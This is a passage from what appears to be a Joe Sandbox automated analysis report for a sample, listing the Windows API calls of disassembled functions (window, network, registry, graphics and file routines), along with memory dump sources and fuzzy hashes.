                                                • CloseHandle.KERNEL32(?), ref: 0031B439
                                                • CloseHandle.KERNEL32(00000000), ref: 0031B44A
                                                • CloseHandle.KERNEL32(00000000), ref: 0031B45C
                                                • CloseHandle.KERNEL32(00000000), ref: 0031B46E
                                                • CloseHandle.KERNEL32(?), ref: 0031B4E3
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Handle$Close_wcslen$Directory$CurrentSystem$CreateErrorLastProcess
                                                • String ID:
                                                • API String ID: 2178637699-0
                                                • Opcode ID: cec772fd6676a53937d2fad085d0b83f343efda482e7156176ccec4678995b4c
                                                • Instruction ID: a19407530a0d1a9186c96940b83cb2950c59c783d651782cd832e8ab9a43c926
                                                • Opcode Fuzzy Hash: cec772fd6676a53937d2fad085d0b83f343efda482e7156176ccec4678995b4c
                                                • Instruction Fuzzy Hash: D1F19E315183409FCB1AEF24C891BAEBBE5AF89310F15895DF8958B2A2CB31DC55CF52
                                                Function 0029326F Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 214windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetMenuItemCount.USER32(00361990), ref: 002D2F8D
                                                • GetMenuItemCount.USER32(00361990), ref: 002D303D
                                                • GetCursorPos.USER32(?), ref: 002D3081
                                                • SetForegroundWindow.USER32(00000000), ref: 002D308A
                                                • TrackPopupMenuEx.USER32(00361990,00000000,?,00000000,00000000,00000000), ref: 002D309D
                                                • PostMessageW.USER32(00000000,00000000,00000000,00000000), ref: 002D30A9
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Menu$CountItem$CursorForegroundMessagePopupPostTrackWindow
                                                • String ID: 0
                                                • API String ID: 36266755-4108050209
                                                • Opcode ID: 14dff7601fd3f6ea1e02543cdcd1ccb5d606da379649ace650fcb301737b937e
                                                • Instruction ID: 4d2bccb3070a6121b15588071d1005963d028744878967cc11b973dd90813917
                                                • Opcode Fuzzy Hash: 14dff7601fd3f6ea1e02543cdcd1ccb5d606da379649ace650fcb301737b937e
                                                • Instruction Fuzzy Hash: 0171F671664216BEEB218F24CC49FAABF68FF05364F204217F914662E0C7B1AD24DB91
                                                Function 00326CD9 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 194windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • DestroyWindow.USER32(?,?), ref: 00326DEB
                                                  • Part of subcall function 00296B57: _wcslen.LIBCMT ref: 00296B6A
                                                • CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00000000,?), ref: 00326E5F
                                                • SendMessageW.USER32(00000000,00000433,00000000,00000030), ref: 00326E81
                                                • SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00326E94
                                                • DestroyWindow.USER32(?), ref: 00326EB5
                                                • CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00290000,00000000), ref: 00326EE4
                                                • SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00326EFD
                                                • GetDesktopWindow.USER32 ref: 00326F16
                                                • GetWindowRect.USER32(00000000), ref: 00326F1D
                                                • SendMessageW.USER32(00000000,00000418,00000000,?), ref: 00326F35
                                                • SendMessageW.USER32(00000000,00000421,?,00000000), ref: 00326F4D
                                                  • Part of subcall function 002A9944: GetWindowLongW.USER32(?,000000EB), ref: 002A9952
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Window$MessageSend$CreateDestroy$DesktopLongRect_wcslen
                                                • String ID: 0$tooltips_class32
                                                • API String ID: 2429346358-3619404913
                                                • Opcode ID: 201c60eadcd3775b7083cb7e994a78aee73aaa3c1df8bd0641eb37ba25c62720
                                                • Instruction ID: 7ec5ace94ee89c21b5749a3021f584edb6d27df2ecab6c184de46fc5e3709109
                                                • Opcode Fuzzy Hash: 201c60eadcd3775b7083cb7e994a78aee73aaa3c1df8bd0641eb37ba25c62720
                                                • Instruction Fuzzy Hash: C1716674104244AFDB22CF18ED59FAABBE9FF89304F19441DF98997261C770A906CF52
                                                Function 0030C476 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 143networkCOMMON
                                                Download Yara Rule
                                                APIs
                                                • InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 0030C4B0
                                                • GetLastError.KERNEL32(?,00000003,?,?,?,?,?,?), ref: 0030C4C3
                                                • SetEvent.KERNEL32(?,?,00000003,?,?,?,?,?,?), ref: 0030C4D7
                                                • HttpOpenRequestW.WININET(00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 0030C4F0
                                                • InternetQueryOptionW.WININET(00000000,0000001F,?,?), ref: 0030C533
                                                • InternetSetOptionW.WININET(00000000,0000001F,00000100,00000004), ref: 0030C549
                                                • HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0030C554
                                                • HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 0030C584
                                                • GetLastError.KERNEL32(?,00000003,?,?,?,?,?,?), ref: 0030C5DC
                                                • SetEvent.KERNEL32(?,?,00000003,?,?,?,?,?,?), ref: 0030C5F0
                                                • InternetCloseHandle.WININET(00000000), ref: 0030C5FB
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Internet$Http$ErrorEventLastOptionQueryRequest$CloseConnectHandleInfoOpenSend
                                                • String ID:
                                                • API String ID: 3800310941-3916222277
                                                • Opcode ID: 9941113d1489d6cbee547ebdbbd2563a760e832b5d01b211742821aeadd11822
                                                • Instruction ID: d2c4be335ee3b6ed97cc70ae5e37d571c9dd83157a86a1d765d1f83fa3b224d9
                                                • Opcode Fuzzy Hash: 9941113d1489d6cbee547ebdbbd2563a760e832b5d01b211742821aeadd11822
                                                • Instruction Fuzzy Hash: 69518AB4511208BFDB228F65CD98AAB7BBCFF09344F00661DF94596690DB34E905DBA0
                                                Function 0032856F Relevance: 22.6, APIs: 15, Instructions: 131filecommemoryCOMMON
                                                Download Yara Rule
                                                APIs
                                                • CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,00000000,?,?,?,?,?,00000000,?,000000EC), ref: 00328592
                                                • GetFileSize.KERNEL32(00000000,00000000,?,?,?,?,00000000,?,000000EC,?,000000F0), ref: 003285A2
                                                • GlobalAlloc.KERNEL32(00000002,00000000,?,?,?,?,00000000,?,000000EC,?,000000F0), ref: 003285AD
                                                • CloseHandle.KERNEL32(00000000,?,?,?,?,00000000,?,000000EC,?,000000F0), ref: 003285BA
                                                • GlobalLock.KERNEL32(00000000), ref: 003285C8
                                                • ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,?,?,?,00000000,?,000000EC,?,000000F0), ref: 003285D7
                                                • GlobalUnlock.KERNEL32(00000000), ref: 003285E0
                                                • CloseHandle.KERNEL32(00000000,?,?,?,?,00000000,?,000000EC,?,000000F0), ref: 003285E7
                                                • CreateStreamOnHGlobal.OLE32(00000000,00000001,000000F0,?,?,?,?,00000000,?,000000EC,?,000000F0), ref: 003285F8
                                                • OleLoadPicture.OLEAUT32(000000F0,00000000,00000000,0032FC38,?), ref: 00328611
                                                • GlobalFree.KERNEL32(00000000), ref: 00328621
                                                • GetObjectW.GDI32(?,00000018,?), ref: 00328641
                                                • CopyImage.USER32(?,00000000,00000000,?,00002000), ref: 00328671
                                                • DeleteObject.GDI32(?), ref: 00328699
                                                • SendMessageW.USER32(?,00000172,00000000,00000000), ref: 003286AF
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Global$File$CloseCreateHandleObject$AllocCopyDeleteFreeImageLoadLockMessagePictureReadSendSizeStreamUnlock
                                                • String ID:
                                                • API String ID: 3840717409-0
                                                • Opcode ID: 4ea46220ca5b8a30c63c8f42ff362e6738837da4c1145c89e19f05d1fad52bd8
                                                • Instruction ID: 47088c23fa159e7cdb221142043ee5c84e81e76eff85a50c1916fe66ae2261f6
                                                • Opcode Fuzzy Hash: 4ea46220ca5b8a30c63c8f42ff362e6738837da4c1145c89e19f05d1fad52bd8
                                                • Instruction Fuzzy Hash: A5412975601218AFDB229FA5DC48EAE7BBCEF89711F108458F905E7260DB30AD02CB60
                                                Function 003014BD Relevance: 21.4, APIs: 10, Strings: 2, Instructions: 360timeCOMMON
                                                Download Yara Rule
                                                APIs
                                                • VariantInit.OLEAUT32(00000000), ref: 00301502
                                                • VariantCopy.OLEAUT32(?,?), ref: 0030150B
                                                • VariantClear.OLEAUT32(?), ref: 00301517
                                                • VariantTimeToSystemTime.OLEAUT32(?,?,?), ref: 003015FB
                                                • VarR8FromDec.OLEAUT32(?,?), ref: 00301657
                                                • VariantInit.OLEAUT32(?), ref: 00301708
                                                • SysFreeString.OLEAUT32(?), ref: 0030178C
                                                • VariantClear.OLEAUT32(?), ref: 003017D8
                                                • VariantClear.OLEAUT32(?), ref: 003017E7
                                                • VariantInit.OLEAUT32(00000000), ref: 00301823
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Variant$ClearInit$Time$CopyFreeFromStringSystem
                                                • String ID: %4d%02d%02d%02d%02d%02d$Default
                                                • API String ID: 1234038744-3931177956
                                                • Opcode ID: b44aceb486eec27dcdd7eaef5a7e328fdb882e4d195b24a1160e6f3cec0a716a
                                                • Instruction ID: 0765eaae1a6525ea533ebc82ad043ac3575ca60fbf25ec7a10f30c7d4bfd5b36
                                                • Opcode Fuzzy Hash: b44aceb486eec27dcdd7eaef5a7e328fdb882e4d195b24a1160e6f3cec0a716a
                                                • Instruction Fuzzy Hash: 70D12332A01615DBDB12AFA5D8A5B7DB7B9BF46700F10805AF806AF5C0DB30EC51DBA1
                                                Function 0031B60E Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 285registrylibraryloaderCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00299CB3: _wcslen.LIBCMT ref: 00299CBD
                                                  • Part of subcall function 0031C998: CharUpperBuffW.USER32(?,?,?,?,?,?,?,0031B6AE,?,?), ref: 0031C9B5
                                                  • Part of subcall function 0031C998: _wcslen.LIBCMT ref: 0031C9F1
                                                  • Part of subcall function 0031C998: _wcslen.LIBCMT ref: 0031CA68
                                                  • Part of subcall function 0031C998: _wcslen.LIBCMT ref: 0031CA9E
                                                • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0031B6F4
                                                • RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 0031B772
                                                • RegDeleteValueW.ADVAPI32(?,?), ref: 0031B80A
                                                • RegCloseKey.ADVAPI32(?), ref: 0031B87E
                                                • RegCloseKey.ADVAPI32(?), ref: 0031B89C
                                                • LoadLibraryA.KERNEL32(advapi32.dll), ref: 0031B8F2
                                                • GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 0031B904
                                                • RegDeleteKeyW.ADVAPI32(?,?), ref: 0031B922
                                                • FreeLibrary.KERNEL32(00000000), ref: 0031B983
                                                • RegCloseKey.ADVAPI32(00000000), ref: 0031B994
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: _wcslen$Close$DeleteLibrary$AddressBuffCharConnectFreeLoadOpenProcRegistryUpperValue
                                                • String ID: RegDeleteKeyExW$advapi32.dll
                                                • API String ID: 146587525-4033151799
                                                • Opcode ID: f160951217419837a1b3772dd54990aad27a22ce23d6796d4d6cfc3641c13906
                                                • Instruction ID: 237155f8eaf3dd7d6f79b8b7a6b7dda72bae4dac37b1297a35627f186150bbfa
                                                • Opcode Fuzzy Hash: f160951217419837a1b3772dd54990aad27a22ce23d6796d4d6cfc3641c13906
                                                • Instruction Fuzzy Hash: D0C18C30218241AFD715DF24C495F6AFBE5BF88318F15849CF49A4B6A2CB71EC86CB91
                                                Function 0031255C Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 169windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetDC.USER32(00000000), ref: 003125D8
                                                • CreateCompatibleBitmap.GDI32(00000000,?,?), ref: 003125E8
                                                • CreateCompatibleDC.GDI32(?), ref: 003125F4
                                                • SelectObject.GDI32(00000000,?), ref: 00312601
                                                • StretchBlt.GDI32(?,00000000,00000000,?,?,?,00000006,?,?,?,00CC0020), ref: 0031266D
                                                • GetDIBits.GDI32(?,?,00000000,00000000,00000000,00000028,00000000), ref: 003126AC
                                                • GetDIBits.GDI32(?,?,00000000,?,00000000,00000028,00000000), ref: 003126D0
                                                • SelectObject.GDI32(?,?), ref: 003126D8
                                                • DeleteObject.GDI32(?), ref: 003126E1
                                                • DeleteDC.GDI32(?), ref: 003126E8
                                                • ReleaseDC.USER32(00000000,?), ref: 003126F3
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Object$BitsCompatibleCreateDeleteSelect$BitmapReleaseStretch
                                                • String ID: (
                                                • API String ID: 2598888154-3887548279
                                                • Opcode ID: a1d632d6ad7b41b7a427388874a960d48291e05893deeb943343cedb0e333bbe
                                                • Instruction ID: 0df78398b8978b2a1bb5f58bdbe7332188fd48224e8f68da1fde9526315c326c
                                                • Opcode Fuzzy Hash: a1d632d6ad7b41b7a427388874a960d48291e05893deeb943343cedb0e333bbe
                                                • Instruction Fuzzy Hash: 8961F275D00219EFCF15CFA4D885AAEBBFAFF48310F208529E955A7250D770A951CF90
                                                Function 002CDA5D Relevance: 19.6, APIs: 13, Instructions: 114COMMONLIBRARYCODE
                                                Download Yara Rule
                                                APIs
                                                • ___free_lconv_mon.LIBCMT ref: 002CDAA1
                                                  • Part of subcall function 002CD63C: _free.LIBCMT ref: 002CD659
                                                  • Part of subcall function 002CD63C: _free.LIBCMT ref: 002CD66B
                                                  • Part of subcall function 002CD63C: _free.LIBCMT ref: 002CD67D
                                                  • Part of subcall function 002CD63C: _free.LIBCMT ref: 002CD68F
                                                  • Part of subcall function 002CD63C: _free.LIBCMT ref: 002CD6A1
                                                  • Part of subcall function 002CD63C: _free.LIBCMT ref: 002CD6B3
                                                  • Part of subcall function 002CD63C: _free.LIBCMT ref: 002CD6C5
                                                  • Part of subcall function 002CD63C: _free.LIBCMT ref: 002CD6D7
                                                  • Part of subcall function 002CD63C: _free.LIBCMT ref: 002CD6E9
                                                  • Part of subcall function 002CD63C: _free.LIBCMT ref: 002CD6FB
                                                  • Part of subcall function 002CD63C: _free.LIBCMT ref: 002CD70D
                                                  • Part of subcall function 002CD63C: _free.LIBCMT ref: 002CD71F
                                                  • Part of subcall function 002CD63C: _free.LIBCMT ref: 002CD731
                                                • _free.LIBCMT ref: 002CDA96
                                                  • Part of subcall function 002C29C8: RtlFreeHeap.NTDLL(00000000,00000000,?,002CD7D1,00000000,00000000,00000000,00000000,?,002CD7F8,00000000,00000007,00000000,?,002CDBF5,00000000), ref: 002C29DE
                                                  • Part of subcall function 002C29C8: GetLastError.KERNEL32(00000000,?,002CD7D1,00000000,00000000,00000000,00000000,?,002CD7F8,00000000,00000007,00000000,?,002CDBF5,00000000,00000000), ref: 002C29F0
                                                • _free.LIBCMT ref: 002CDAB8
                                                • _free.LIBCMT ref: 002CDACD
                                                • _free.LIBCMT ref: 002CDAD8
                                                • _free.LIBCMT ref: 002CDAFA
                                                • _free.LIBCMT ref: 002CDB0D
                                                • _free.LIBCMT ref: 002CDB1B
                                                • _free.LIBCMT ref: 002CDB26
                                                • _free.LIBCMT ref: 002CDB5E
                                                • _free.LIBCMT ref: 002CDB65
                                                • _free.LIBCMT ref: 002CDB82
                                                • _free.LIBCMT ref: 002CDB9A
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: _free$ErrorFreeHeapLast___free_lconv_mon
                                                • String ID:
                                                • API String ID: 161543041-0
                                                • Opcode ID: 228aedc3d4229887926d46de56c8d6af382c3737b776c7effd958f50d531391e
                                                • Instruction ID: c1c95d6629da01c44d553f954a378bec3cb7732a42e0ddcc4c592ef3ada82540
                                                • Opcode Fuzzy Hash: 228aedc3d4229887926d46de56c8d6af382c3737b776c7effd958f50d531391e
                                                • Instruction Fuzzy Hash: E4315931664B06DFEB22AE38E845F5AB7E8FF00314F21562DE448D7191DE31AC64CB20
                                                Function 002F365B Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 267windowtimeCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetClassNameW.USER32(?,?,00000100), ref: 002F369C
                                                • _wcslen.LIBCMT ref: 002F36A7
                                                • SendMessageTimeoutW.USER32(?,?,00000101,00000000,00000002,00001388,?), ref: 002F3797
                                                • GetClassNameW.USER32(?,?,00000400), ref: 002F380C
                                                • GetDlgCtrlID.USER32(?), ref: 002F385D
                                                • GetWindowRect.USER32(?,?), ref: 002F3882
                                                • GetParent.USER32(?), ref: 002F38A0
                                                • ScreenToClient.USER32(00000000), ref: 002F38A7
                                                • GetClassNameW.USER32(?,?,00000100), ref: 002F3921
                                                • GetWindowTextW.USER32(?,?,00000400), ref: 002F395D
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: ClassName$Window$ClientCtrlMessageParentRectScreenSendTextTimeout_wcslen
                                                • String ID: %s%u
                                                • API String ID: 4010501982-679674701
                                                • Opcode ID: 89baf320043f5d625722023ebc3c6c5828fbab9ac8bf135701f684834375cb0d
                                                • Instruction ID: 1da83ad0e7cc6dfb131e2f6da1098f0aef229ecbaadbe1871e5437234d9eceac
                                                • Opcode Fuzzy Hash: 89baf320043f5d625722023ebc3c6c5828fbab9ac8bf135701f684834375cb0d
                                                • Instruction Fuzzy Hash: 1391B47122460BAFD715DF24C885BFAF7A8FF44390F008529FA99C6150DB70EA65CB91
                                                Function 002F4954 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 253COMMON
                                                Download Yara Rule
                                                APIs
                                                • GetClassNameW.USER32(?,?,00000400), ref: 002F4994
                                                • GetWindowTextW.USER32(?,?,00000400), ref: 002F49DA
                                                • _wcslen.LIBCMT ref: 002F49EB
                                                • CharUpperBuffW.USER32(?,00000000), ref: 002F49F7
                                                • _wcsstr.LIBVCRUNTIME ref: 002F4A2C
                                                • GetClassNameW.USER32(00000018,?,00000400), ref: 002F4A64
                                                • GetWindowTextW.USER32(?,?,00000400), ref: 002F4A9D
                                                • GetClassNameW.USER32(00000018,?,00000400), ref: 002F4AE6
                                                • GetClassNameW.USER32(?,?,00000400), ref: 002F4B20
                                                • GetWindowRect.USER32(?,?), ref: 002F4B8B
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: ClassName$Window$Text$BuffCharRectUpper_wcslen_wcsstr
                                                • String ID: ThumbnailClass
                                                • API String ID: 1311036022-1241985126
                                                • Opcode ID: 9195a880c0c39dcbfb096b38bf91a34256c0356dfd744d3bfc25928d4e88f7aa
                                                • Instruction ID: 9d58e8c9b4b958cb831714be12a57fac96161d2411282ddf8ea1f4d8622b438e
                                                • Opcode Fuzzy Hash: 9195a880c0c39dcbfb096b38bf91a34256c0356dfd744d3bfc25928d4e88f7aa
                                                • Instruction Fuzzy Hash: 8891C13102420A9FDB04EF14C880BBBB7A8FF44794F04447AEE859A196DBB0ED55CBA1
                                                Function 00328D0E Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 221windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 002A9BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 002A9BB2
                                                • PostMessageW.USER32(?,00000111,00000000,00000000), ref: 00328D5A
                                                • GetFocus.USER32 ref: 00328D6A
                                                • GetDlgCtrlID.USER32(00000000), ref: 00328D75
                                                • DefDlgProcW.USER32(?,00000111,?,?,00000000,?,?,?,?,?,?,?), ref: 00328E1D
                                                • GetMenuItemInfoW.USER32(?,00000000,00000000,?), ref: 00328ECF
                                                • GetMenuItemCount.USER32(?), ref: 00328EEC
                                                • GetMenuItemID.USER32(?,00000000), ref: 00328EFC
                                                • GetMenuItemInfoW.USER32(?,-00000001,00000001,?), ref: 00328F2E
                                                • GetMenuItemInfoW.USER32(?,?,00000001,?), ref: 00328F70
                                                • CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 00328FA1
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: ItemMenu$Info$CheckCountCtrlFocusLongMessagePostProcRadioWindow
                                                • String ID: 0
                                                • API String ID: 1026556194-4108050209
                                                • Opcode ID: 86d6b1e091492908ef3ef846acada5b0f950e6f965457eb5f9bc92d7017e1c2c
